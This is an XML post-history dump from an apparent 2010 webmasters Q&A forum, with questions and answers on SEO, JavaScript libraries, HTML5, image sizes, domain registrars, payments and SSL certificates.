<?xml version="1.0" encoding="utf-8"?>
<posthistory>
  <row Id="1" PostHistoryTypeId="2" PostId="1" RevisionGUID="23938ded-770e-45b3-90bf-381e5052bc60" CreationDate="2010-07-08T19:08:18.817" UserId="19" Text="I am using some [Facebook social plugins][1] on one of my websites that has hundreds of pages. I am wondering if there is a single location where I can view all Facebook plugin activity across my website.&#xD;&#xA;&#xD;&#xA;Is there some sort of admin page where I can find that info?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/plugins" />
  <row Id="2" PostHistoryTypeId="1" PostId="1" RevisionGUID="23938ded-770e-45b3-90bf-381e5052bc60" CreationDate="2010-07-08T19:08:18.817" UserId="19" Text="How can I view all information from my facebook social plugins in one place?" />
  <row Id="3" PostHistoryTypeId="3" PostId="1" RevisionGUID="23938ded-770e-45b3-90bf-381e5052bc60" CreationDate="2010-07-08T19:08:18.817" UserId="19" Text="&lt;facebook&gt;&lt;plugin&gt;" />
  <row Id="4" PostHistoryTypeId="2" PostId="2" RevisionGUID="da27bbcc-60ff-4627-ac16-be711ce4c422" CreationDate="2010-07-08T19:09:18.393" UserId="23" Text="What are the best ways to increase your site's position in Google?" />
  <row Id="5" PostHistoryTypeId="1" PostId="2" RevisionGUID="da27bbcc-60ff-4627-ac16-be711ce4c422" CreationDate="2010-07-08T19:09:18.393" UserId="23" Text="What are the best ways to increase your site's position in Google?" />
  <row Id="6" PostHistoryTypeId="3" PostId="2" RevisionGUID="da27bbcc-60ff-4627-ac16-be711ce4c422" CreationDate="2010-07-08T19:09:18.393" UserId="23" Text="&lt;google&gt;" />
  <row Id="7" PostHistoryTypeId="2" PostId="3" RevisionGUID="2ebcbb8c-c069-428b-b6f6-5972a208626b" CreationDate="2010-07-08T19:10:28.377" UserId="15" Text="I've noticed that Chrome and Firefox take different amounts of time to render certain things. In general, Chrome has been faster. What should I know about both of them (and IE8/9, too, I guess) when constructing a Javascript/jQuery app?" />
  <row Id="8" PostHistoryTypeId="1" PostId="3" RevisionGUID="2ebcbb8c-c069-428b-b6f6-5972a208626b" CreationDate="2010-07-08T19:10:28.377" UserId="15" Text="What are the differences between Firefox's Javascript engine and Chrome's V8?" />
  <row Id="9" PostHistoryTypeId="3" PostId="3" RevisionGUID="2ebcbb8c-c069-428b-b6f6-5972a208626b" CreationDate="2010-07-08T19:10:28.377" UserId="15" Text="&lt;chrome&gt;&lt;javascript&gt;&lt;firefox&gt;&lt;jquery&gt;" />
  <row Id="10" PostHistoryTypeId="6" PostId="2" RevisionGUID="ed9fafc9-e030-42a1-aba6-51f460b3d132" CreationDate="2010-07-08T19:11:09.637" UserId="25" Comment="edited tags" Text="&lt;google&gt;&lt;seo&gt;" />
  <row Id="11" PostHistoryTypeId="2" PostId="4" RevisionGUID="51fc7a93-5703-476c-a734-f396f43b2970" CreationDate="2010-07-08T19:12:17.577" UserId="43" Text="The absolute best long term strategy is to have lots of relevant content that is updated frequently and easily accessible to your site's visitors." />
  <row Id="12" PostHistoryTypeId="2" PostId="5" RevisionGUID="456581bc-9017-49c4-84ff-aaa8e2cc0071" CreationDate="2010-07-08T19:12:25.283" UserId="20" Text="I know of [Google Website Optimizer](http://www.google.com/websiteoptimizer) and have used it some, and it's pretty good. Are there better options? Any good blogs about A/B testing?" />
  <row Id="13" PostHistoryTypeId="1" PostId="5" RevisionGUID="456581bc-9017-49c4-84ff-aaa8e2cc0071" CreationDate="2010-07-08T19:12:25.283" UserId="20" Text="What are some good resources for doing A/B testing of a website?" />
  <row Id="14" PostHistoryTypeId="3" PostId="5" RevisionGUID="456581bc-9017-49c4-84ff-aaa8e2cc0071" CreationDate="2010-07-08T19:12:25.283" UserId="20" Text="&lt;a-b-testing&gt;&lt;optimization&gt;" />
  <row Id="15" PostHistoryTypeId="2" PostId="6" RevisionGUID="e553d2d7-a4c8-401e-8175-1707363c50b8" CreationDate="2010-07-08T19:13:22.223" UserId="19" Text="From what I have read, Google no longer uses meta keywords in it's ranking algorithm. Is it worth the effort to maintain meta keywords?" />
  <row Id="16" PostHistoryTypeId="1" PostId="6" RevisionGUID="e553d2d7-a4c8-401e-8175-1707363c50b8" CreationDate="2010-07-08T19:13:22.223" UserId="19" Text="Are meta keywords worth the effort?" />
  <row Id="17" PostHistoryTypeId="3" PostId="6" RevisionGUID="e553d2d7-a4c8-401e-8175-1707363c50b8" CreationDate="2010-07-08T19:13:22.223" UserId="19" Text="&lt;seo&gt;&lt;meta-keywords&gt;" />
  <row Id="18" PostHistoryTypeId="16" PostId="6" RevisionGUID="e553d2d7-a4c8-401e-8175-1707363c50b8" CreationDate="2010-07-08T19:13:22.223" UserId="19" />
  <row Id="19" PostHistoryTypeId="2" PostId="7" RevisionGUID="87544fa0-c209-4fa5-a040-a101fee3b8aa" CreationDate="2010-07-08T19:13:45.060" UserId="26" Text="I have a website I accept payments via PayPal. This works well, at what point does it make sense to change providers, given PayPal takes a higher percentage than some other services. What are the best alternatives to PayPal and how much should I be bringing in to have it make sense?" />
  <row Id="20" PostHistoryTypeId="1" PostId="7" RevisionGUID="87544fa0-c209-4fa5-a040-a101fee3b8aa" CreationDate="2010-07-08T19:13:45.060" UserId="26" Text="Accepting money on a website as payment: when do I move past PayPal?" />
  <row Id="21" PostHistoryTypeId="3" PostId="7" RevisionGUID="87544fa0-c209-4fa5-a040-a101fee3b8aa" CreationDate="2010-07-08T19:13:45.060" UserId="26" Text="&lt;ecommerce&gt;&lt;payments&gt;&lt;paypal&gt;" />
  <row Id="22" PostHistoryTypeId="2" PostId="8" RevisionGUID="ac247b7e-bf5f-485e-87e3-6e1679a321c0" CreationDate="2010-07-08T19:14:13.593" UserId="15" Text="Is there a way to load my JavaScript into a page that will make it load faster?" />
  <row Id="23" PostHistoryTypeId="1" PostId="8" RevisionGUID="ac247b7e-bf5f-485e-87e3-6e1679a321c0" CreationDate="2010-07-08T19:14:13.593" UserId="15" Text="What's the best way to load Javascript into a page to optimize performance?" />
  <row Id="24" PostHistoryTypeId="3" PostId="8" RevisionGUID="ac247b7e-bf5f-485e-87e3-6e1679a321c0" CreationDate="2010-07-08T19:14:13.593" UserId="15" Text="&lt;javascript&gt;&lt;optimization&gt;&lt;speed&gt;" />
  <row Id="25" PostHistoryTypeId="2" PostId="9" RevisionGUID="368a78b7-e7be-42cf-a5d3-1f6a1e1e8ad6" CreationDate="2010-07-08T19:14:19.880" UserId="17" Text="I have used numerous domain registrars in the past, including Godaddy, 1&amp;1, Host Monster, IX web Hosting, the list goes on. (not talking about hosting)&#xD;&#xA;&#xD;&#xA;I currently use GoDaay, however, I'm not to happy with them at the moment. I need a great registrar! One who:&#xD;&#xA;&#xD;&#xA;- makes transferring easy makes&#xD;&#xA;- registration pain free, no up-selling&#xD;&#xA;- has domain management great&#xD;&#xA;- has amazing customer service&#xD;&#xA;&#xD;&#xA;Maybe such a company does not exist. I don't know. Do you know of one?" />
  <row Id="26" PostHistoryTypeId="1" PostId="9" RevisionGUID="368a78b7-e7be-42cf-a5d3-1f6a1e1e8ad6" CreationDate="2010-07-08T19:14:19.880" UserId="17" Text="Who is a great domain registrar company?" />
  <row Id="27" PostHistoryTypeId="3" PostId="9" RevisionGUID="368a78b7-e7be-42cf-a5d3-1f6a1e1e8ad6" CreationDate="2010-07-08T19:14:19.880" UserId="17" Text="&lt;domains&gt;&lt;registrar&gt;" />
  <row Id="28" PostHistoryTypeId="2" PostId="10" RevisionGUID="6675026a-1498-44c0-a03e-e71fcfec7deb" CreationDate="2010-07-08T19:14:40.923" UserId="25" Text="Should I use prototype.js or jQuery for a new project? Rails comes with prototype.js but jQuery seems the library of choice for the rest of the world. Is prototype.js still under active development? It seems a little bit dusty ..." />
  <row Id="29" PostHistoryTypeId="1" PostId="10" RevisionGUID="6675026a-1498-44c0-a03e-e71fcfec7deb" CreationDate="2010-07-08T19:14:40.923" UserId="25" Text="prototype.js or jQuery for new projects?" />
  <row Id="30" PostHistoryTypeId="3" PostId="10" RevisionGUID="6675026a-1498-44c0-a03e-e71fcfec7deb" CreationDate="2010-07-08T19:14:40.923" UserId="25" Text="&lt;javascript&gt;&lt;jquery&gt;&lt;library&gt;" />
  <row Id="34" PostHistoryTypeId="2" PostId="12" RevisionGUID="5813d581-fbe7-4cf4-b20c-dd20ccfee0ac" CreationDate="2010-07-08T19:15:56.473" UserId="15" Text="Yes, because Google is not the only search engine. It is the biggest by far, but that does not mean that other people do not use other search engines that may still rely on keywords at least to some degree." />
  <row Id="35" PostHistoryTypeId="16" PostId="12" RevisionGUID="5813d581-fbe7-4cf4-b20c-dd20ccfee0ac" CreationDate="2010-07-08T19:15:56.473" UserId="-1" />
  <row Id="36" PostHistoryTypeId="2" PostId="13" RevisionGUID="e4a354a1-06fd-4a12-b4e2-0706967e8228" CreationDate="2010-07-08T19:16:10.577" UserId="31" Text="Working with some wordpress themes I've been modifying some of the image files and noticed that my edited versions are sometimes 3-4x larger than the original (saved using the same format). I don't want to degrade quality - what are some of the ways to make a file size smaller so it will load faster?&#xD;&#xA;&#xD;&#xA;Right now, for example, I use Photoshop and set the image quality slider to '8' (out of 10). " />
  <row Id="37" PostHistoryTypeId="1" PostId="13" RevisionGUID="e4a354a1-06fd-4a12-b4e2-0706967e8228" CreationDate="2010-07-08T19:16:10.577" UserId="31" Text="What can I do to reduce the file size of my images?" />
  <row Id="38" PostHistoryTypeId="3" PostId="13" RevisionGUID="e4a354a1-06fd-4a12-b4e2-0706967e8228" CreationDate="2010-07-08T19:16:10.577" UserId="31" Text="&lt;optimization&gt;&lt;images&gt;" />
  <row Id="39" PostHistoryTypeId="2" PostId="14" RevisionGUID="ba28148e-6664-4e0a-a68b-7261fb0cb77b" CreationDate="2010-07-08T19:16:26.363" UserId="36" Text="Here are some rules I follow:&#xD;&#xA;&#xD;&#xA; - Try not to repeat content.&#xD;&#xA; - Give each page a relevant (and unique) title.&#xD;&#xA; - Add in a meta-description to each page describing the contents or purpose.&#xD;&#xA; - Build a sitemap for your website and submit it using the Google WebMaster tools.&#xD;&#xA; - Keep content unique and relevant.&#xD;&#xA; - Use HTML correctly (header tags, titles and alt attributes on images).&#xD;&#xA; - Try to use relevant keywords in the URL.&#xD;&#xA; - Try to get linked from other, **quality** websites whilst keeping your outgoing links low.&#xD;&#xA;&#xD;&#xA;Over time your domain will gain &quot;trust&quot; with Google and naturally rank better.  If you try to speed this process up, using things like keyword spamming on your website, you are likely to be picked up and blacklisted by Google so avoid this wherever possible." />
  <row Id="40" PostHistoryTypeId="2" PostId="15" RevisionGUID="bb187bd3-112a-43c1-961b-2dfff968d42a" CreationDate="2010-07-08T19:16:28.407" UserId="20" Text="I've heard Google's algorithm is based on PageRank, and that it has something to do with the links to your site. Can someone explain it, and more importantly, how I can increase my site's PageRank?" />
  <row Id="41" PostHistoryTypeId="1" PostId="15" RevisionGUID="bb187bd3-112a-43c1-961b-2dfff968d42a" CreationDate="2010-07-08T19:16:28.407" UserId="20" Text="What is PageRank and how do I get it?" />
  <row Id="42" PostHistoryTypeId="3" PostId="15" RevisionGUID="bb187bd3-112a-43c1-961b-2dfff968d42a" CreationDate="2010-07-08T19:16:28.407" UserId="20" Text="&lt;seo&gt;&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="43" PostHistoryTypeId="2" PostId="16" RevisionGUID="0bf58a9b-b058-4080-81f2-184e4a6df179" CreationDate="2010-07-08T19:16:30.170" UserId="25" Text="Screenreaders still read this tags and gives blind users the possibility to get the right information fast." />
  <row Id="44" PostHistoryTypeId="16" PostId="16" RevisionGUID="0bf58a9b-b058-4080-81f2-184e4a6df179" CreationDate="2010-07-08T19:16:30.170" UserId="-1" />
  <row Id="46" PostHistoryTypeId="2" PostId="18" RevisionGUID="a37c8772-6680-4083-89ef-9b6ac8e9d547" CreationDate="2010-07-08T19:18:09.403" UserId="15" Text="The new HTML5/CSS3 (Web8!) stuff sounds cool! Should I start using it now or stick with css/xhtml wait until more browsers can use it?" />
  <row Id="47" PostHistoryTypeId="1" PostId="18" RevisionGUID="a37c8772-6680-4083-89ef-9b6ac8e9d547" CreationDate="2010-07-08T19:18:09.403" UserId="15" Text="Should I use HTML5 and/or CSS3 to build my website?" />
  <row Id="48" PostHistoryTypeId="3" PostId="18" RevisionGUID="a37c8772-6680-4083-89ef-9b6ac8e9d547" CreationDate="2010-07-08T19:18:09.403" UserId="15" Text="&lt;html5&gt;&lt;css3&gt;&lt;css&gt;&lt;xhtml&gt;" />
  <row Id="49" PostHistoryTypeId="2" PostId="19" RevisionGUID="b3d04684-de4b-4bf4-a46f-2dda30bef6f1" CreationDate="2010-07-08T19:19:22.067" UserId="20" Text="I've used Google Analytics for a while now, and it's pretty good for a high level view. But when I want to dig into the numbers a bit more, everything gets kind of vague. I also don't like that it takes so long to update. Are there any better options?" />
  <row Id="50" PostHistoryTypeId="1" PostId="19" RevisionGUID="b3d04684-de4b-4bf4-a46f-2dda30bef6f1" CreationDate="2010-07-08T19:19:22.067" UserId="20" Text="Is there a better analytics package than Google Analytics?" />
  <row Id="51" PostHistoryTypeId="3" PostId="19" RevisionGUID="b3d04684-de4b-4bf4-a46f-2dda30bef6f1" CreationDate="2010-07-08T19:19:22.067" UserId="20" Text="&lt;analytics&gt;&lt;google-analytics&gt;" />
  <row Id="52" PostHistoryTypeId="2" PostId="20" RevisionGUID="24be17d5-ec17-4224-8d01-9a9c99c711db" CreationDate="2010-07-08T19:19:53.593" UserId="23" Text="PageRank is part of Google's rank algorithm. You have to have links from other sites that do not have nofollow.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/PageRank" />
  <row Id="53" PostHistoryTypeId="2" PostId="21" RevisionGUID="e1ccd695-34b7-4ac5-aeb9-96fd60c5bae6" CreationDate="2010-07-08T19:20:19.833" UserId="59" Text="How can I see what my web site looks like in various browsers?&#xD;&#xA;&#xD;&#xA;Short of actually having every different browser version installed, is there any tool or service that can provide a preview?&#xD;&#xA;" />
  <row Id="54" PostHistoryTypeId="1" PostId="21" RevisionGUID="e1ccd695-34b7-4ac5-aeb9-96fd60c5bae6" CreationDate="2010-07-08T19:20:19.833" UserId="59" Text="How can I see what my web site looks like in various browsers?" />
  <row Id="55" PostHistoryTypeId="3" PostId="21" RevisionGUID="e1ccd695-34b7-4ac5-aeb9-96fd60c5bae6" CreationDate="2010-07-08T19:20:19.833" UserId="59" Text="&lt;browsers&gt;&lt;html&gt;" />
  <row Id="56" PostHistoryTypeId="2" PostId="22" RevisionGUID="7022c2a4-be07-490b-8f22-2367c0740189" CreationDate="2010-07-08T19:20:57.680" UserId="56" Text="Depends on what the audience is and what features you want to use. I expect it will be several more years before the average project can drop support for ie6 :(" />
  <row Id="57" PostHistoryTypeId="2" PostId="23" RevisionGUID="f7c3831c-80f3-4a75-9758-38fa00cd80bf" CreationDate="2010-07-08T19:21:22.763" UserId="57" Text="I use it to enhance the experience on modern browsers so the users with a good browser get &quot;rewarded&quot; with nicer looking UI's (Rounded corners, shadows, that kinda stuff). I guess you shouldn't use it as a replacement for let's say your current clientside form validation, unless you got some kind of JS fallback for it." />
  <row Id="58" PostHistoryTypeId="2" PostId="24" RevisionGUID="98024046-e50f-418c-a201-e01f4b83f3f9" CreationDate="2010-07-08T19:21:22.857" UserId="15" Text="Use whichever one fits your specifications the best. jQuery is a great library under active development with a great (and large) community following and is my personal library of choice, but don't let that deter you from using Prototype if it is the right tool for the job." />
  <row Id="59" PostHistoryTypeId="2" PostId="25" RevisionGUID="7562f43c-23cc-4b44-a863-bcec4e3a96c1" CreationDate="2010-07-08T19:21:35.353" UserId="50" Text="The absolute best way to improve your position in Google is to have many other websites linking to your site.  This is why text links in blogs are so popular- Google uses them primarily in place of meta tag keywords, as they're usually more accurate.&#xD;&#xA;&#xD;&#xA;As described by tnorthcutt, having lots of relevant content is also helpful, as Google can read and associate your site with it's content.  Additionally, in an ideal world, having lots of relevant content will cause others to link to your site." />
  <row Id="60" PostHistoryTypeId="2" PostId="26" RevisionGUID="9fde235c-ef98-4f2c-99ac-1d64ad46158c" CreationDate="2010-07-08T19:21:49.767" UserId="59" Text="What's a good way to list a &quot;Contact Us&quot; email address on a web site, while reducing the likelihood it will get spammed?&#xD;&#xA;&#xD;&#xA;Is putting the email address in an image the best technique, or are there others?" />
  <row Id="61" PostHistoryTypeId="1" PostId="26" RevisionGUID="9fde235c-ef98-4f2c-99ac-1d64ad46158c" CreationDate="2010-07-08T19:21:49.767" UserId="59" Text="Way to list &quot;Contact Us&quot; email address on web site, yet reduce likelihood of spam?" />
  <row Id="62" PostHistoryTypeId="3" PostId="26" RevisionGUID="9fde235c-ef98-4f2c-99ac-1d64ad46158c" CreationDate="2010-07-08T19:21:49.767" UserId="59" Text="&lt;email&gt;&lt;email-address&gt;&lt;spam&gt;&lt;contact-page&gt;" />
  <row Id="63" PostHistoryTypeId="2" PostId="27" RevisionGUID="a97e89c4-2857-4159-8aac-6077d2bad9b4" CreationDate="2010-07-08T19:21:58.800" UserId="20" Text="It's really a matter of preference. I tend towards jQuery, personally. It's well documented, has lots of good plugins, and makes my life a whole lot easier. I've heard some complaints from the Prototype people about its size and performance (sorry, I don't remember their specific problem) but both of those aspects have been getting better and better.&#xD;&#xA;&#xD;&#xA;I would try both out and see which one is a better fit for you." />
  <row Id="64" PostHistoryTypeId="2" PostId="28" RevisionGUID="669bcd41-b6b4-4027-8fc6-5fdd0556ad6a" CreationDate="2010-07-08T19:22:12.013" UserId="19" Text="Use whatever technology suits your needs most. &#xD;&#xA;&#xD;&#xA;Eric Meyer wrote [a nice article][1] about why starting to use vendor-specific prefixes on CSS rules isn't lame like using css filter hacks used to be.&#xD;&#xA;&#xD;&#xA;I think the same applies to HTML5. If you can check browser support for different features, why not use it. So long as the site degrades gracefully, live it up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/prefix-or-posthack/" />
  <row Id="65" PostHistoryTypeId="2" PostId="29" RevisionGUID="ee842297-6c20-40d2-97d9-b5e4e5c325e1" CreationDate="2010-07-08T19:22:26.413" UserId="63" Text="I really like [Namecheap][1]. &#xD;&#xA;&#xD;&#xA;Transferring is easy. Domain Management is easy. There is no upselling, you buy  domain, it's yours, Apply WhoIsGuard if you want stop personal details being revealed if someone does a WhoIs on your domain. &#xD;&#xA;&#xD;&#xA;Can't testify with regards to customer service though. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.namecheap.com/" />
  <row Id="66" PostHistoryTypeId="2" PostId="30" RevisionGUID="6745c870-d122-48a6-9ccd-68c176be1f6c" CreationDate="2010-07-08T19:23:23.587" UserId="25" Text="Try other formats.&#xD;&#xA;&#xD;&#xA; - JPEG for photographs&#xD;&#xA; - PNG for photographs with alpha and/or shaddow&#xD;&#xA; - GIF for images with a small color palette (black/white or a yellow icon or something)" />
  <row Id="67" PostHistoryTypeId="2" PostId="31" RevisionGUID="e6080cd3-f3e7-480f-9601-07ba81ca2b54" CreationDate="2010-07-08T19:23:30.530" UserId="63" Text="This is quite good: http://browsershots.org/&#xD;&#xA;&#xD;&#xA;See how it looks on a range of browsers and resolutions. Needs to be on the web though. " />
  <row Id="68" PostHistoryTypeId="2" PostId="32" RevisionGUID="60eabaee-9af1-45e8-a572-aa0c432509fd" CreationDate="2010-07-08T19:23:43.523" UserId="40" Text="A quite good, while not perfect way is to create the e-mail address via javascript. Most spiders looking for e-mails do not execute javascript, and hence do not find a readable e-mail address.&#xD;&#xA;&#xD;&#xA;[Here][1] is jusst one example how it could be done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://joemaller.com/js-mailer.shtml" />
  <row Id="69" PostHistoryTypeId="2" PostId="33" RevisionGUID="8bbc85e8-90fb-43cf-a3d3-3eb75dc443e0" CreationDate="2010-07-08T19:23:49.203" UserId="17" Text="**To boost your rank:**&#xD;&#xA;&#xD;&#xA;- use web standards&#xD;&#xA;- update site regularly&#xD;&#xA;- get good back links over time&#xD;&#xA;- use Google Keyword tool and Google trends to see what content is most relevant&#xD;&#xA;- make your site accessible&#xD;&#xA;- make your site light weight and use less http requests&#xD;&#xA;- link to great websites&#xD;&#xA;- use more content then HTML&#xD;&#xA;- use friendly URLs&#xD;&#xA;- use a domain that is up in years&#xD;&#xA;- link to page within your own site&#xD;&#xA;- provide a robots.txt and sitemap to Google Web Master tools&#xD;&#xA;- post quality over quantity&#xD;&#xA;- optimize your website for users not just search (kinda odd but true)&#xD;&#xA;- use micro-formates, RDFa, and ARIA&#xD;&#xA;- give you content context with good class and id name in your HTML, similar to web standards&#xD;&#xA;- the list can go on forever&#xD;&#xA;" />
  <row Id="70" PostHistoryTypeId="5" PostId="1" RevisionGUID="e8a07fbe-e904-45e6-b6c8-4284c18fb055" CreationDate="2010-07-08T19:23:58.110" UserId="19" Comment="added more info" Text="I am using some [Facebook social plugins][1] on one of my websites that has hundreds of pages. I am wondering if there is a single location where I can view all Facebook plugin activity across my website.&#xD;&#xA;&#xD;&#xA;Is there some sort of admin page where I can find that info?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/plugins&#xD;&#xA;&#xD;&#xA;**EDIT:** I am using the Comments Plugin and the Like Button. I would like to be able to see all the comments on my website in one 'dashboard' rather than having to browse to each individual page on my website and administer the comments there." />
  <row Id="71" PostHistoryTypeId="2" PostId="34" RevisionGUID="b5e1d011-7be9-4608-a001-007a6df9f8d8" CreationDate="2010-07-08T19:24:27.780" UserId="46" Text="[BrowsersShots][1] and [BrowserLabs][2] are what I can think of off the top of my head.  I think there is also something else I've used but I can't recall the name right now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://browsershots.org/&#xD;&#xA;  [2]: https://browserlab.adobe.com/en-us/index.html" />
  <row Id="72" PostHistoryTypeId="2" PostId="35" RevisionGUID="92a48b50-0974-4c25-bfb5-a0bd1306f715" CreationDate="2010-07-08T19:24:32.070" UserId="15" Text="Use an [email obfuscator][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.albionresearch.com/misc/obfuscator.php" />
  <row Id="73" PostHistoryTypeId="2" PostId="36" RevisionGUID="60babf1b-c18e-44a6-a2b5-5abdb5a4e9cb" CreationDate="2010-07-08T19:24:40.400" UserId="57" Text="For the Dutch market there is TransIP (www.transip.nl);&#xD;&#xA;Great support, direct registration of .nl and other domains (at other registars you need to fill in and fax forms to get stuff done, here you just sign online); Good prices and a good control panel. E-mails are mostly answered in minutes. It's my registrar of choice." />
  <row Id="75" PostHistoryTypeId="2" PostId="37" RevisionGUID="14482206-9344-4a3c-9620-299802b93e5a" CreationDate="2010-07-08T19:24:43.193" UserId="59" Text="If I need HTTPS / SSL encryption on my web site, does it matter who I get my certificate from?  Are some SSL certificate vendors better than others?  If so, why?" />
  <row Id="76" PostHistoryTypeId="1" PostId="37" RevisionGUID="14482206-9344-4a3c-9620-299802b93e5a" CreationDate="2010-07-08T19:24:43.193" UserId="59" Text="If I need HTTPS / SSL encryption on my web site, does it matter who I get my certificate from?" />
  <row Id="77" PostHistoryTypeId="3" PostId="37" RevisionGUID="14482206-9344-4a3c-9620-299802b93e5a" CreationDate="2010-07-08T19:24:43.193" UserId="59" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;&lt;security&gt;" />
  <row Id="78" PostHistoryTypeId="2" PostId="38" RevisionGUID="b5fcb955-6a40-4d1e-949f-4d3199a8affd" CreationDate="2010-07-08T19:25:34.003" UserId="29" Text="There is a news website / blog - The Site from now on. The site mention ma keyword in one of its articles. &#xD;&#xA;&#xD;&#xA;I add a [Google Alerts][1] for the keyword, but I do not get any alert for the word from The Site. Furthermore, searching the keyword in the [news section][2] don't getting any results form The Site.&#xD;&#xA;&#xD;&#xA;The Site has a sitemap, that indexed by Google every x minutes. And in the [main search][3], searching for a news title bring the item on the top.  &#xD;&#xA;&#xD;&#xA;What are the best ways to get included in Google Alerts mails?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/alerts&#xD;&#xA;  [2]: http://news.google.com/&#xD;&#xA;  [3]: http://www.google.com/" />
  <row Id="79" PostHistoryTypeId="1" PostId="38" RevisionGUID="b5fcb955-6a40-4d1e-949f-4d3199a8affd" CreationDate="2010-07-08T19:25:34.003" UserId="29" Text="What are the ways to get included in Google Alerts mails" />
  <row Id="80" PostHistoryTypeId="3" PostId="38" RevisionGUID="b5fcb955-6a40-4d1e-949f-4d3199a8affd" CreationDate="2010-07-08T19:25:34.003" UserId="29" Text="&lt;google&gt;" />
  <row Id="81" PostHistoryTypeId="2" PostId="39" RevisionGUID="47a366eb-5006-449a-8b0e-0e5a124b1222" CreationDate="2010-07-08T19:26:06.513" UserId="64" Text="If your site is a private intranet and you either control the browser, or have a limited range of browsers to deal with, then feel free to work on the bleeding edge of technology.&#xD;&#xA;&#xD;&#xA;If not, no matter what you use, you will always have to take into account the lowest common denominator.  In this case it is probably some combination of IE 6 and a range of mobile browsers. So, if you move ahead with HTML 5 you have the added issue of making sure your site 'degrades' nicely." />
  <row Id="83" PostHistoryTypeId="2" PostId="41" RevisionGUID="77829976-f29b-41f6-814e-74e05ecf4289" CreationDate="2010-07-08T19:26:22.987" UserId="59" Text="Should I use my domain name registrar's free DNS hosting service, or host DNS servers with another company? (or both?)&#xD;&#xA;&#xD;&#xA;What are some advantages to using a DNS hosting company separate from the domain registrar?" />
  <row Id="84" PostHistoryTypeId="1" PostId="41" RevisionGUID="77829976-f29b-41f6-814e-74e05ecf4289" CreationDate="2010-07-08T19:26:22.987" UserId="59" Text="Should I use a domain name registrar's free DNS hosting, or host DNS servers with another company?" />
  <row Id="85" PostHistoryTypeId="3" PostId="41" RevisionGUID="77829976-f29b-41f6-814e-74e05ecf4289" CreationDate="2010-07-08T19:26:22.987" UserId="59" Text="&lt;domains&gt;&lt;dns&gt;&lt;dns-servers&gt;" />
  <row Id="86" PostHistoryTypeId="2" PostId="42" RevisionGUID="54979b0e-4877-46a0-add4-965c3c5102ee" CreationDate="2010-07-08T19:26:30.723" UserId="8" Text="HTML5 is supported by all browsers now, even IE5!(if you use the html5shiv script). I highly recommend reading http://diveintohtml5.org It is one of the best HTML5 resources out there.&#xD;&#xA;&#xD;&#xA;As for CSS3, if you do use it, make sure to use vendor predix too, on top of the regular syntax. e.g.&#xD;&#xA;&#xD;&#xA;border-radius&#xD;&#xA;&#xD;&#xA;-moz-border-radius&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-webkit-border-radius&#xD;&#xA;&#xD;&#xA;I believe in progressive enhancement.  IE9's css3 support sounds very promising.&#xD;&#xA;" />
  <row Id="87" PostHistoryTypeId="2" PostId="43" RevisionGUID="fc7c6199-b6bc-4a32-b647-a16480c72261" CreationDate="2010-07-08T19:26:46.590" UserId="67" Text="As they are fairly easy to implement if using a CMS, there is no harm in adding them. That being said, there CAN be harm in adding them indiscriminately. Meta keywords were traditionally overused and abused by spammers, so keeping the amount of keywords down to a reasonable level is highly encouraged if you do choose to add them in." />
  <row Id="88" PostHistoryTypeId="16" PostId="43" RevisionGUID="fc7c6199-b6bc-4a32-b647-a16480c72261" CreationDate="2010-07-08T19:26:46.590" UserId="-1" />
  <row Id="89" PostHistoryTypeId="2" PostId="44" RevisionGUID="1774258a-254d-4e86-84e2-3f9d24da1045" CreationDate="2010-07-08T19:26:52.017" UserId="48" Text="There are a few things you can do:&#xD;&#xA;&#xD;&#xA; 1. Load the HTML and CSS before the javascript. This gives the browser everything it needs to lay out the page and render it. This give the user the impression that the page is snappy. Place script tags or blocks as close to the closing body tag '&lt;/body&gt;' as possible.&#xD;&#xA;&#xD;&#xA; 2. Consider using a CDN. If you are using any of the popular libraries like JQuery many companies (e.g. google, yahoo) operate free CDNs that you can use to load the libraries.&#xD;&#xA;&#xD;&#xA; 3. Load code fron an external file instead of an embedded script. This gives the browser the opportunity to cache the JS content and not have to load it at all. Successive page loads will be faster.&#xD;&#xA;&#xD;&#xA; 4. Turn on zip compression on the web server.&#xD;&#xA;&#xD;&#xA;Yahoo has a [great page][1] of suggestions that can help reduce page load times.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html" />
  <row Id="90" PostHistoryTypeId="2" PostId="45" RevisionGUID="186bffa9-45b2-4e8e-ad9f-97ce68b8f97d" CreationDate="2010-07-08T19:27:00.100" UserId="36" Text="I am looking for relatively low-budget solutions that will allow me to fully integrate the checkout process into my website, with my own branding.  &#xD;&#xA;&#xD;&#xA;I am **not** looking for a &quot;basket&quot; solution, just something like Google Checkout that will allow customers to purchase their good without ever leaving my site." />
  <row Id="91" PostHistoryTypeId="1" PostId="45" RevisionGUID="186bffa9-45b2-4e8e-ad9f-97ce68b8f97d" CreationDate="2010-07-08T19:27:00.100" UserId="36" Text="What are effective solutions for an Integrated Checkout with a low budget." />
  <row Id="92" PostHistoryTypeId="3" PostId="45" RevisionGUID="186bffa9-45b2-4e8e-ad9f-97ce68b8f97d" CreationDate="2010-07-08T19:27:00.100" UserId="36" Text="&lt;checkout&gt;&lt;low-budget&gt;&lt;google-checkout&gt;" />
  <row Id="94" PostHistoryTypeId="2" PostId="47" RevisionGUID="0260a1b2-ebf3-4c20-b959-08307f4d683d" CreationDate="2010-07-08T19:27:34.450" UserId="25" Text="Have the browsers local gives you more flexibility. If you have an interactive website where you need to click on several buttons to test, you cant verify this with an image." />
